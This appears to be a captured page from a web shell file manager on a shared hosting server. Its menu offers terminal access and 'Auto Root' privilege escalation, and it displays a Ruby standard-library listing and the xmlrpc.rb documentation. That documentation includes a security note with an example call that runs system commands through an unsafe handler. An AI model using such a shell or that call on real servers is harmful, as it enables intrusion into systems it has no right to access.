Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 216.73.216.206
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby23 /
lib64 /
ruby /
2.3.0 /
Delete
Unzip
Name
Size
Permission
Date
Action
cgi
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
digest
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
drb
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
fiddle
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
io
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
irb
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
json
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
matrix
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
net
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
openssl
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
optparse
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
psych
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
racc
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rbconfig
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rdoc
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rexml
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rinda
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
ripper
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rss
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
rubygems
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
shell
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
syslog
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
unicode_normalize
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
uri
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
webrick
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
x86_64-linux
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
xmlrpc
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
yaml
[ DIR ]
drwxr-xr-x
2024-03-03 22:43
English.rb
6.45
KB
-rw-r--r--
2015-12-16 05:07
abbrev.rb
3.49
KB
-rw-r--r--
2015-12-16 05:07
base64.rb
3.31
KB
-rw-r--r--
2015-12-16 05:07
benchmark.rb
17.9
KB
-rw-r--r--
2015-12-23 03:43
cgi.rb
9.8
KB
-rw-r--r--
2015-12-16 05:07
cmath.rb
9.48
KB
-rw-r--r--
2015-12-16 05:07
csv.rb
82.15
KB
-rw-r--r--
2015-12-19 05:23
date.rb
1011
B
-rw-r--r--
2023-07-26 14:39
debug.rb
29.97
KB
-rw-r--r--
2015-12-16 05:07
delegate.rb
10.29
KB
-rw-r--r--
2015-12-16 05:07
digest.rb
2.82
KB
-rw-r--r--
2023-07-26 14:39
drb.rb
50
B
-rw-r--r--
2015-12-16 05:07
e2mmap.rb
3.8
KB
-rw-r--r--
2015-12-16 05:07
erb.rb
26.45
KB
-rw-r--r--
2017-06-30 11:24
expect.rb
2.17
KB
-rw-r--r--
2023-07-26 14:39
fiddle.rb
1.68
KB
-rw-r--r--
2023-07-26 14:39
fileutils.rb
47.47
KB
-rw-r--r--
2017-03-27 16:57
find.rb
2.51
KB
-rw-r--r--
2015-12-16 05:07
forwardable.rb
7.97
KB
-rw-r--r--
2018-03-18 15:04
getoptlong.rb
15.41
KB
-rw-r--r--
2015-12-23 03:43
ipaddr.rb
17.08
KB
-rw-r--r--
2015-12-16 05:07
irb.rb
20.06
KB
-rw-r--r--
2016-03-29 06:10
json.rb
1.77
KB
-rw-r--r--
2023-07-26 14:39
kconv.rb
5.77
KB
-rw-r--r--
2023-07-26 14:39
logger.rb
21.93
KB
-rw-r--r--
2016-10-17 17:38
mathn.rb
3.87
KB
-rw-r--r--
2015-12-16 05:07
matrix.rb
53.37
KB
-rw-r--r--
2015-12-16 05:07
mkmf.rb
83.79
KB
-rw-r--r--
2023-07-26 14:36
monitor.rb
7.01
KB
-rw-r--r--
2015-12-16 05:07
mutex_m.rb
2.03
KB
-rw-r--r--
2015-12-16 05:07
observer.rb
5.83
KB
-rw-r--r--
2015-12-16 05:07
open-uri.rb
24.61
KB
-rw-r--r--
2015-11-11 03:48
open3.rb
20.67
KB
-rw-r--r--
2015-11-14 07:43
openssl.rb
445
B
-rw-r--r--
2023-07-26 14:39
optionparser.rb
59
B
-rw-r--r--
2015-12-16 05:07
optparse.rb
56.91
KB
-rw-r--r--
2017-08-09 07:56
ostruct.rb
9.95
KB
-rw-r--r--
2018-01-31 11:05
pathname.rb
16.08
KB
-rw-r--r--
2023-07-26 14:39
pp.rb
14.2
KB
-rw-r--r--
2015-11-10 11:48
prettyprint.rb
15.89
KB
-rw-r--r--
2015-11-10 11:48
prime.rb
12.35
KB
-rw-r--r--
2015-12-16 05:07
profile.rb
236
B
-rw-r--r--
2015-12-16 05:07
profiler.rb
4.54
KB
-rw-r--r--
2015-12-16 05:07
pstore.rb
14.58
KB
-rw-r--r--
2015-12-23 03:43
psych.rb
15.29
KB
-rw-r--r--
2023-07-26 14:39
psych_jars.rb
175
B
-rw-r--r--
2023-07-26 14:39
rdoc.rb
5.07
KB
-rw-r--r--
2015-12-22 12:08
resolv-replace.rb
1.76
KB
-rw-r--r--
2015-11-14 08:25
resolv.rb
73.52
KB
-rw-r--r--
2018-03-28 06:03
ripper.rb
2.56
KB
-rw-r--r--
2023-07-26 14:39
rss.rb
2.87
KB
-rw-r--r--
2015-12-16 05:07
rubygems.rb
32.24
KB
-rw-r--r--
2018-02-16 16:21
scanf.rb
23.56
KB
-rw-r--r--
2015-12-16 05:07
securerandom.rb
7.49
KB
-rw-r--r--
2016-04-22 15:30
set.rb
19.67
KB
-rw-r--r--
2015-11-16 07:41
shell.rb
11.33
KB
-rw-r--r--
2015-12-16 05:07
shellwords.rb
6.28
KB
-rw-r--r--
2015-12-16 09:25
singleton.rb
4.05
KB
-rw-r--r--
2015-12-16 05:07
socket.rb
43.49
KB
-rw-r--r--
2023-07-26 14:39
sync.rb
7.29
KB
-rw-r--r--
2015-12-16 05:07
tempfile.rb
10.87
KB
-rw-r--r--
2017-03-27 14:47
thwait.rb
3.34
KB
-rw-r--r--
2015-12-16 05:07
time.rb
22.28
KB
-rw-r--r--
2015-11-14 12:45
timeout.rb
3.68
KB
-rw-r--r--
2015-12-18 15:46
tmpdir.rb
4.17
KB
-rw-r--r--
2018-03-28 10:29
tracer.rb
6.43
KB
-rw-r--r--
2015-12-16 05:07
tsort.rb
14.3
KB
-rw-r--r--
2015-11-14 08:46
ubygems.rb
299
B
-rw-r--r--
2015-12-16 05:07
un.rb
8.87
KB
-rw-r--r--
2015-12-16 05:07
unicode_normalize.rb
3.19
KB
-rw-r--r--
2015-12-16 05:07
uri.rb
3.1
KB
-rw-r--r--
2015-12-16 05:07
weakref.rb
2.95
KB
-rw-r--r--
2015-12-16 05:07
webrick.rb
6.72
KB
-rw-r--r--
2015-12-23 03:43
xmlrpc.rb
8.93
KB
-rw-r--r--
2015-12-23 03:43
yaml.rb
1.73
KB
-rw-r--r--
2015-12-16 05:07
Save
Rename
# frozen_string_literal: false # == Author and Copyright # # Copyright (C) 2001-2004 by Michael Neumann (mailto:mneumann@ntecs.de) # # Released under the same term of license as Ruby. # # == Overview # # XMLRPC is a lightweight protocol that enables remote procedure calls over # HTTP. It is defined at http://www.xmlrpc.com. # # XMLRPC allows you to create simple distributed computing solutions that span # computer languages. Its distinctive feature is its simplicity compared to # other approaches like SOAP and CORBA. # # The Ruby standard library package 'xmlrpc' enables you to create a server that # implements remote procedures and a client that calls them. Very little code # is required to achieve either of these. # # == Example # # Try the following code. It calls a standard demonstration remote procedure. # # require 'xmlrpc/client' # require 'pp' # # server = XMLRPC::Client.new2("http://xmlrpc-c.sourceforge.net/api/sample.php") # result = server.call("sample.sumAndDifference", 5, 3) # pp result # # == Documentation # # See http://www.ntecs.de/ruby/xmlrpc4r/. There is plenty of detail there to # use the client and implement a server. # # == Features of XMLRPC for Ruby # # * Extensions # * Introspection # * multiCall # * optionally nil values and integers larger than 32 Bit # # * Server # * Standalone XML-RPC server # * CGI-based (works with FastCGI) # * Apache mod_ruby server # * WEBrick servlet # # * Client # * synchronous/asynchronous calls # * Basic HTTP-401 Authentication # * HTTPS protocol (SSL) # # * Parsers # * NQXML (XMLParser::NQXMLStreamParser, XMLParser::NQXMLTreeParser) # * Not compiled (pure ruby) # * Note: NQXML's website recommends rexml and isn't available on rubygems.org # * See http://nqxml.sourceforge.net/ # * Expat (XMLParser::XMLStreamParser, XMLParser::XMLTreeParser) # * Compiled # * Fastest parser and also uses the least memory # * See https://rubygems.org/gems/xmlparser # * REXML (XMLParser::REXMLStreamParser) # * Not compiled (pure ruby) # * See ruby standard library # * xml-scan (XMLParser::XMLScanStreamParser) # * Not compiled (pure ruby) # * See https://rubygems.org/gems/xmlscan # * Fastest parser is Expat's XMLParser::XMLStreamParser! # # * General # * possible to choose between XMLParser module (Expat wrapper) and REXML/NQXML (pure Ruby) parsers # * Marshalling Ruby objects to Hashes and reconstruct them later from a Hash # * SandStorm component architecture XMLRPC::Client interface # # == Howto # # === Client # # require "xmlrpc/client" # # # Make an object to represent the XML-RPC server. # server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php") # # # Call the remote server and get our result # result = server.call("sample.sumAndDifference", 5, 3) # # sum = result["sum"] # difference = result["difference"] # # puts "Sum: #{sum}, Difference: #{difference}" # # === XMLRPC::Client with XML-RPC fault-structure handling # # There are two possible ways, of handling a fault-structure: # # ==== by catching a XMLRPC::FaultException exception # # require "xmlrpc/client" # # # Make an object to represent the XML-RPC server. # server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php") # # begin # # Call the remote server and get our result # result = server.call("sample.sumAndDifference", 5, 3) # # sum = result["sum"] # difference = result["difference"] # # puts "Sum: #{sum}, Difference: #{difference}" # # rescue XMLRPC::FaultException => e # puts "Error: " # puts e.faultCode # puts e.faultString # end # # ==== by calling "call2" which returns a boolean # # require "xmlrpc/client" # # # Make an object to represent the XML-RPC server. # server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php") # # # Call the remote server and get our result # ok, result = server.call2("sample.sumAndDifference", 5, 3) # # if ok # sum = result["sum"] # difference = result["difference"] # # puts "Sum: #{sum}, Difference: #{difference}" # else # puts "Error: " # puts result.faultCode # puts result.faultString # end # # === Using XMLRPC::Client::Proxy # # You can create a Proxy object onto which you can call methods. This way it # looks nicer. Both forms, _call_ and _call2_ are supported through _proxy_ and # _proxy2_. You can additionally give arguments to the Proxy, which will be # given to each XML-RPC call using that Proxy. # # require "xmlrpc/client" # # # Make an object to represent the XML-RPC server. # server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php") # # # Create a Proxy object # sample = server.proxy("sample") # # # Call the remote server and get our result # result = sample.sumAndDifference(5,3) # # sum = result["sum"] # difference = result["difference"] # # puts "Sum: #{sum}, Difference: #{difference}" # # === CGI-based server using XMLRPC::CGIServer # # There are also two ways to define handler, the first is # like C/PHP, the second like Java, of course both ways # can be mixed: # # ==== C/PHP-like (handler functions) # # require "xmlrpc/server" # # s = XMLRPC::CGIServer.new # # s.add_handler("sample.sumAndDifference") do |a,b| # { "sum" => a + b, "difference" => a - b } # end # # s.serve # # ==== Java-like (handler classes) # # require "xmlrpc/server" # # s = XMLRPC::CGIServer.new # # class MyHandler # def sumAndDifference(a, b) # { "sum" => a + b, "difference" => a - b } # end # end # # # NOTE: Security Hole (read below)!!! # s.add_handler("sample", MyHandler.new) # s.serve # # # To return a fault-structure you have to raise an XMLRPC::FaultException e.g.: # # raise XMLRPC::FaultException.new(3, "division by Zero") # # ===== Security Note # # From Brian Candler: # # Above code sample has an extremely nasty security hole, in that you can now call # any method of 'MyHandler' remotely, including methods inherited from Object # and Kernel! For example, in the client code, you can use # # puts server.call("sample.send","`","ls") # # (backtick being the method name for running system processes). Needless to # say, 'ls' can be replaced with something else. # # The version which binds proc objects (or the version presented below in the next section) # doesn't have this problem, but people may be tempted to use the second version because it's # so nice and 'Rubyesque'. I think it needs a big red disclaimer. # # # From Michael: # # A solution is to undef insecure methods or to use # XMLRPC::Service::PublicInstanceMethodsInterface as shown below: # # class MyHandler # def sumAndDifference(a, b) # { "sum" => a + b, "difference" => a - b } # end # end # # # ... server initialization ... # # s.add_handler(XMLRPC::iPIMethods("sample"), MyHandler.new) # # # ... # # This adds only public instance methods explicitly declared in class MyHandler # (and not those inherited from any other class). # # ==== With interface declarations # # Code sample from the book Ruby Developer's Guide: # # require "xmlrpc/server" # # class Num # INTERFACE = XMLRPC::interface("num") { # meth 'int add(int, int)', 'Add two numbers', 'add' # meth 'int div(int, int)', 'Divide two numbers' # } # # def add(a, b) a + b end # def div(a, b) a / b end # end # # # s = XMLRPC::CGIServer.new # s.add_handler(Num::INTERFACE, Num.new) # s.serve # # === Standalone XMLRPC::Server # # Same as CGI-based server, the only difference being # # server = XMLRPC::CGIServer.new # # must be changed to # # server = XMLRPC::Server.new(8080) # # if you want a server listening on port 8080. # The rest is the same. # # === Choosing a different XMLParser or XMLWriter # # The examples above all use the default parser (which is now since 1.8 # XMLParser::REXMLStreamParser) and a default XMLRPC::XMLWriter. # If you want to use a different XMLParser, then you have to call the # ParserWriterChooseMixin#set_parser method of XMLRPC::Client instances # or instances of subclasses of XMLRPC::BasicServer or by editing # xmlrpc/config.rb. # # XMLRPC::Client Example: # # # ... # server = XMLRPC::Client.new( "xmlrpc-c.sourceforge.net", "/api/sample.php") # server.set_parser(XMLRPC::XMLParser::XMLParser.new) # # ... # # XMLRPC::Server Example: # # # ... # s = XMLRPC::CGIServer.new # s.set_parser(XMLRPC::XMLParser::XMLStreamParser.new) # # ... # # or: # # # ... # server = XMLRPC::Server.new(8080) # server.set_parser(XMLRPC::XMLParser::NQXMLParser.new) # # ... # # # Note XMLParser::XMLStreamParser (xmlparser gem) is faster and uses less memory than any # other parser and scales well for large documents. For example for a 0.5 MB XML # document with many tags, XMLParser::XMLStreamParser is ~350 (!) times faster than # XMLParser::NQXMLTreeParser and still ~18 times as fast as XMLParser::XMLTreeParser. # # You can change the XML-writer by calling method ParserWriterChooseMixin#set_writer. module XMLRPC; end